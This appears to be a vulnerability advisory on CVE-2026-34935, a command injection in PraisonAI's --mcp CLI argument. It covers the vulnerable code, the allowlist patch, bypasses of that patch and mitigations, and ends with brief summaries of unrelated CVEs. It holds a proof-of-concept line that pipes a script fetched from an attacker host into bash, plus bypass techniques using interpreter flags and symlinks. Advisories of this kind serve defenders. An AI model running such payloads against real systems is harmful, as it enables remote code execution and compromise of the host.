Apr 8, 2026·6 min read·32 visits
Unsanitized input in PraisonAI's `--mcp` CLI argument allows attackers to achieve arbitrary OS command execution. While patched in version 4.5.69 via an allowlist, the fix remains susceptible to LOLBin argument injection.
PraisonAI versions prior to 4.5.69 are vulnerable to a critical OS Command Injection flaw. The vulnerability resides in the command-line interface processing of Model Context Protocol (MCP) server commands, allowing an attacker to execute arbitrary system commands via the `--mcp` parameter.
PraisonAI is a multi-agent framework that facilitates the construction and management of AI agent teams. The framework provides a command-line interface (CLI) for users to interact with and orchestrate these AI agents. This CLI includes support for the Model Context Protocol (MCP) via the --mcp argument.
A vulnerability exists in how the PraisonAI CLI processes commands provided to the --mcp argument. The affected software versions fail to neutralize special elements used in operating system commands. This flaw maps directly to CWE-78: Improper Neutralization of Special Elements used in an OS Command.
The vulnerability resides in the MCPHandler.parse_mcp_command() method within the CLI features component. Due to the lack of input sanitization, an attacker can supply crafted input that results in arbitrary command execution. This execution occurs with the privileges of the user running the PraisonAI application.
The root cause of CVE-2026-34935 is the direct execution of untrusted user input without prior validation or sanitization. When a user provides a string to the --mcp flag, the CLI routes this input to the parse_mcp_command() method located in src/praisonai/praisonai/cli/features/mcp.py. The application relies entirely on the Python shlex module to tokenize this input.
The shlex.split() function correctly parses the string into a list of arguments suitable for process execution. However, tokenization does not equate to sanitization. The application extracts the first element of the parsed list as the target executable and the remaining elements as the arguments.
Once parsed, the command and its arguments pass directly to a process executor, specifically anyio.open_process(). The executor invokes the specified binary on the underlying host system. Because the framework performs no checks against an allowlist or blocklist before this invocation, the application will execute any binary available in the system's PATH.
The vulnerable implementation in MCPHandler.parse_mcp_command() demonstrates a classic command injection pattern. The code accepts a string command and splits it using shlex.split(). It then assigns the resulting components to cmd and args variables before returning them for execution without performing any security checks.
def parse_mcp_command(self, command: str, env_vars: str = None) -> Tuple[str, List[str], Dict[str, str]]:
# Missing validation block
parts = shlex.split(command)
if not parts:
return None, [], {}
cmd = parts[0]
args = parts[1:] if len(parts) > 1 else []
# Environment parsing follows...
return cmd, args, envThe patch introduced in commit 47bff65413beaa3c21bf633c1fae4e684348368c attempts to remediate the vulnerability by introducing an allowlist. The developers defined ALLOWED_MCP_COMMANDS, a set containing specific allowed executables such as python, node, docker, and npx. The updated function checks the base name of the provided command against this list.
ALLOWED_MCP_COMMANDS = {
"npx", "npx.cmd", "npx.exe",
"node", "node.exe",
"python", "python3", "python.exe", "python3.exe",
"uvx", "uvx.exe",
"uv", "uv.exe",
"docker", "docker.exe",
"deno", "deno.exe",
"bun", "bun.exe",
"pipx",
}
# Inside parse_mcp_command:
basename = os.path.basename(cmd)
if basename not in ALLOWED_MCP_COMMANDS:
raise ValueError(f"Command '{cmd}' is not in the allowed MCP executables list.")Exploitation of this vulnerability requires the attacker to have the ability to supply arguments to the PraisonAI CLI. In scenarios where a web interface or secondary application builds CLI commands based on user input, this vulnerability becomes remotely exploitable. The attack involves injecting shell operators or specifying unexpected binaries in the --mcp parameter.
A standard proof-of-concept payload utilizes the bash executable to run an inline script. By specifying bash -c, the attacker can pass a complete shell pipeline as the subsequent argument. This allows the execution of complex commands that download and execute secondary payloads directly in memory.
praisonai "Summarize this" --mcp "bash -c 'curl http://attacker.com/shell.sh | bash'"During exploitation, shlex.split() parses the payload into ['bash', '-c', "curl http://attacker.com/shell.sh | bash"]. The anyio.open_process() function then invokes bash, passing the attacker's script. This execution occurs entirely outside the intended boundaries of the MCP server context, providing the attacker with persistent access or arbitrary code execution capabilities.
The remediation implemented in version 4.5.69 introduces significant architectural weaknesses. The patch relies exclusively on validating the executable name while ignoring the arguments passed to that executable. This approach fails to address the underlying risk of arbitrary code execution when invoking powerful interpreters.
The allowlist includes tools like python, node, and docker. An attacker can specify one of these allowed binaries and use its command-line arguments to execute arbitrary code. For example, an attacker can bypass the protection by using python -c or node -e followed by a malicious script. These are known as Living Off The Land Binaries (LOLBins).
Furthermore, the patch uses os.path.basename(cmd) to validate the executable. This introduces a path manipulation vector. An attacker with minimal file system access can create a symbolic link or copy a malicious binary to a temporary directory, naming it python or npx. Passing /tmp/npx to the --mcp flag will bypass the basename check while executing the attacker-controlled binary.
The CVSS v3.1 base score for CVE-2026-34935 is 9.8, indicating a critical severity level. The vulnerability allows complete compromise of the host system executing the PraisonAI framework. The impact spans all three primary security objectives: confidentiality, integrity, and availability.
An attacker successfully exploiting this flaw gains the execution privileges of the PraisonAI process. This permits unauthorized read access to all files, environment variables, and memory accessible to that user. The attacker can exfiltrate sensitive data, including API keys and database credentials commonly stored in AI application environments.
Integrity and availability are similarly compromised. The attacker can modify system configuration files, install persistent backdoors, or terminate critical processes. In a containerized environment, successful exploitation serves as the initial step toward container escape or lateral movement within the broader network infrastructure.
Organizations utilizing PraisonAI must immediately update to version 4.5.69 or later for the main package, and version 1.5.69 for praisonaiagents. This update introduces the primary allowlist defense. Administrators should verify the installed versions across all deployment environments.
Due to the identified weaknesses in the official patch, secondary mitigations are strictly necessary. Administrators must implement strict input validation on any application layer that constructs commands for the PraisonAI CLI. Ensure that untrusted user input cannot influence the --mcp parameter, even partially.
In high-security environments, restrict the execution context of the PraisonAI process. Utilize containerization, mandatory access controls such as AppArmor or SELinux, and strict file system permissions. Run the process under a dedicated service account with minimal privileges to reduce the impact of a successful command injection attack.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
praisonai Mervin Praison | >= 4.5.15, < 4.5.69 | 4.5.69 |
praisonaiagents Mervin Praison | <= 1.5.68 | 1.5.69 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-78 |
| Attack Vector | Network / CLI Input |
| CVSS v3.1 | 9.8 (Critical) |
| EPSS Score | 0.00083 |
| Impact | Arbitrary Code Execution |
| Exploit Status | Proof of Concept |
Improper Neutralization of Special Elements used in an OS Command
CVE-2026-63004 is a server-side request forgery (SSRF) vulnerability in the Unleash feature management platform. Authenticated administrators with CREATE_ADDON or UPDATE_ADDON privileges can exploit this vulnerability to initiate requests to loopback addresses, private networks, and cloud metadata endpoints, potentially leading to information disclosure and credential extraction.
Prior to version 8.0.3, Unleash's Markdown event formatter directly mutated the global template-escaping function of the shared mustache Node.js module, resulting in a process-wide security degradation where HTML/Markdown escaping was permanently disabled for the application lifetime.
A critical SQL injection vulnerability exists in the GeoTools open-source Java library. This vulnerability is situated within the post-processing phase of OGC Filter conversion inside the PostGIS DataStore module. Specifically, the `jsonArrayContains` function does not validate or sanitize its arguments before constructing PostgreSQL SQL/JSON path evaluation queries. An unauthenticated remote attacker can exploit this weakness by submitting crafted filters via standard OGC services like WFS or WMS to execute arbitrary SQL commands on the underlying database system.
CVE-2026-61824 is a high-severity Cross-Site Scripting (XSS) vulnerability in kepano/defuddle before version 0.19.1. Custom site extractors for platforms such as X/Twitter, Substack, and YouTube constructed HTML representations via template string interpolation without output escaping. This allowed malicious pages to bypass standard parser sanitization routines and execute arbitrary JavaScript.
A high-severity vulnerability exists in KeystoneJS, a popular Node.js CMS and GraphQL framework, where the query resolution engine fails to validate signed negative integers within the pagination subsystem. Unauthenticated remote attackers can leverage this flaw to bypass the 'graphql.maxTake' safety boundary. By sending large negative values in the 'take' query parameter, the underlying Prisma ORM interprets the value as an instruction to fetch rows from the end of the collection, allowing malicious actors to bypass pagination limits, trigger database resource exhaustion, and execute application-level Denial of Service (DoS) attacks.
A critical path traversal vulnerability in Atlantis allows authenticated users or repository contributors to execute directory operations outside of the repository directory boundary via crafted workspace parameters in configuration files or API requests.